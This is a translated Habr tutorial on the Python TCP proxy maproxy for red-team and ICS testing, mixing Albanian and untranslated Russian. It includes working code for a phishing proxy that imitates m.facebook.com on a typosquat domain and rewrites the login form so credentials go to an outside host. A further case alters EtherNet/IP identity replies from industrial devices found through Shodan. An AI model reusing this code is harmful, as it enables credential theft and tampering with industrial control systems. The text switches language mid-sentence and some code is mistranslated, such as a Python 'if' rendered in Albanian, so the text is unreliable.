Përkthimi i artikullit është përgatitur para fillimit të kursit .

Shënimi
Lloje të ndryshme të vlerësimit të sigurisë, duke filluar nga testimet e rregullta të depërtimit dhe operacionet Red Team deri te hackimi i pajisjeve IoT/ICS dhe SCADA, përfshijnë punë me protokolle binarë të rrjetit, që në thelb nënkupton përvetësimin dhe modifikimin e të dhënave të rrjetit midis klientit dhe objektit. Sniffing i trafikut të rrjetit nuk është një detyrë e komplikuar, pasi ne kemi mjete të tilla si Wireshark, Tcpdump ose Scapy, megjithatë modifikimi paraqitet si një detyrë më e punësuar, pasi do na nevojitet një lloj interfaci për të lexuar të dhënat e rrjetit, për t'i filtruar, për t'i ndryshuar në kohë reale dhe për t'i dërguar përsëri në hostin e synuar pothuajse në kohë reale. Për më tepër, do të ishte ideal nëse një mundësi e tillë mund të punonte automatikisht me lidhje parake dhe të kishte mundësi personalizimi përmes skenarëve.
Një herë zbulova një mjet që quhet , dokumentacioni më dha shpejt të kuptoja se maproxy – është pikërisht ajo që më nevojitej. Ky është një TCP-proxy goxha i thjeshtë, universale dhe lehtësisht i konfiguruar. E testova këtë mjet në disa aplikacione mjaft komplekse, duke përfshirë pajisjet ICS (të cilat gjenerojnë shumë paketa), për të zbuluar nëse mund të punonte me shumë lidhje paralele, dhe mjeti u tregua mirë.
Ky artikull do t'ju prezantojë me përpunimin e të dhënave të rrjetit në kohë reale me ndihmën e maproxy.
Përmbledhje
Mjeti maproxy që bazohet në Tornado – një framework të njohur dhe të zhvilluar për rrjetin asinkron në Python.
Në përgjithësi, ai mund të punojë në disa moda:
TCP:TCP– lidhje TCP të paqifruara;TCP:SSLdheSSL:TCP– me enkriptim njëdrejtimësh;SSL:SSL– enkriptim dydrejtimësh.
Ai ofrohet si një bibliotekë. Për një fillim të shpejtë, mund të përdorni skedarët e shembujve që pasqyrojnë funksionet kryesore të :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Rasti 1 – një proxy dy drejtimësh i thjeshtë
Duke u bazuar në tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Më në default ProxyServer() pranon dy argumente – vendin e lidhjes dhe portin e synuar. server.listen() pranon një argument – portin për të dëgjuar lidhjet hyrëse.
Ekzekutimi i skenarit:
# python tcp2tcp.py Për të bërë një test, ne do të lidhemi me serverin tonë lokal SSH përmes skenarit tonë proxy që dëgjon në 2222/tcp порт и подключается к стандартному порту 22/tcp SSH-сервера:

Приветственный баннер сообщает, что наш пример скрипта успешно проксировал сетевой трафик.
Кейс 2 – модификация данных
Другой демо-скрипт logging_proxy.py идеально подходит для взаимодействия с сетевыми данными. Комментарии в файле описывают методы класса, которые вы можете модифицировать для достижения своей цели:

Самое интересное здесь:
on_c2p_done_read– для перехвата данных по пути от клиента к серверу;on_p2s_done_read– в обратную сторону.
Давайте попробуем изменить SSH-баннер, который сервер возвращает клиенту:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Выполните скрипт:

Как видите, клиент был введен в заблуждение, поскольку для него имя SSH-сервера было подменено на «DumnySSH».

Кейс 3 – простая фишинговая веб-страница
Существует бесконечное количество вариантов использования этого инструмента. На этот раз давайте сосредоточимся на чем-то более практичном из области операций Red Team. Давайте будем подражать лендингу m.facebook.com и воспользуемся кастомным доменом с умышленной опечаткой, например, m.facebok.com. В целях демонстрации просто предположим, что домен зарегистрирован нами.
Мы собираемся установить незашифрованное сетевое соединение с нашим прокси жертв и SSL Stream для сервера Facebook (31.13.81.36). Чтобы этот пример заработал, нам нужно заменить заголовок HTTP-хоста и внедрить корректное имя хоста, а еще мы отключим сжатие ответов, чтобы получить легкий доступ к их содержимому. В конечном итоге мы заменим HTML-форму, чтобы учетные данные для входа отправлялись нам, вместо серверов Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Në fund:

Как видите, мы успешно смогли подменить оригинальный сайт.
Кейс 4 – Портим Ethernet/IP
Kam për një kohë të gjatë kam punuar me pajisje dhe software industriale (ICS / SCADA), siç janë kontrollorët e programueshëm (PLC), modulet e hyrjes dhe daljes, motorët, releet, ambientet e programimit me shkallë dhe shumë më tepër. Ky rast është për ata që i pëlqejnë gjërat industriale. Haking-u i këtyre zgjidhjeve përfshin një lojë aktive me protokollet e rrjetit. Në shembullin e mëposhtëm, do të doja të tregoj se si mund të modifikoni trafikun e rrjetit ICS / SCADA.
Për këtë do t'ju nevojitet e seura:
- Një sniffer rrjeti, për shembull, Wireshark;
- Ethernet / IP ose thjesht një pajisje SIP, mund ta gjeni atë përmes shërbimit Shodan;
- Scripti ynë i bazuar në
maproxy.
Së pari, le të shohim si duket një përgjigje identifikimi tipike nga CIP (Common Industrial Protocol):

Identifikimi i pajisjes bëhet përmes protokollit Ethernet / IP, i cili është një version i zgjeruar i protokollit Ethernet për qëllime industriale, ai mbështjell protokollet e kontrollit, si CIP. Ne do të ndryshojmë emrin e identifikimit të veçantë, i cili është i dukshëm në shkëmbimin e informacionit «NI-IndComm for Ethernet» përdorimin e scriptit tonë proxy. Mund të ri-përdorim scriptin logging_proxy.py dhe njësoj të modifikojmë metodën e klasës on_p2s_done_read, pasi dëshirojmë që në klient të duket një emër tjetër identifikimi.
Kodi:
[...]
def on_p2s_done_read(self,data):
# zëvendësimi pjesor i përgjigjes
# Kontrollimi nëse morëm përgjigjen e mesazhit List Identity
nëse data[26:28] == b'x0cx00':
print('Mori përgjigjen, duke zëvendësuar')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[...]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[...]
Në thelb, ne kërkuam identifikimin e pajisjes dy herë, përgjigjja e dytë është origjinale, ndërsa e para ishte modifikuar në fluks.
Dhe e fundit
Sipas mendimit tim maproxy është një mjet i përshtatshëm dhe i thjeshtë, i cili për më tepër është shkruar në Python, prandaj mendoj se edhe ju mund të përfitoni nga përdorimi i tij. Sigurisht, ka edhe mjete më të komplikuara për trajtimin dhe ndryshimin e të dhënave të rrjetit, por ato gjithashtu kërkojnë më shumë vëmendje dhe zakonisht krijohen për një skenar të veçantë përdorimi, për shembull, , ose për raste si rasti i tretë, ose për rastin e fundit. Kështu ose ndryshe, me ndihmën e maproxy do të jeni në gjendje të realizoni shpejt idetë tuaja për kapjen e të dhënave të rrjetit, pasi shembujt e scriptit janë shumë të qartë.
Burimi: habr.com
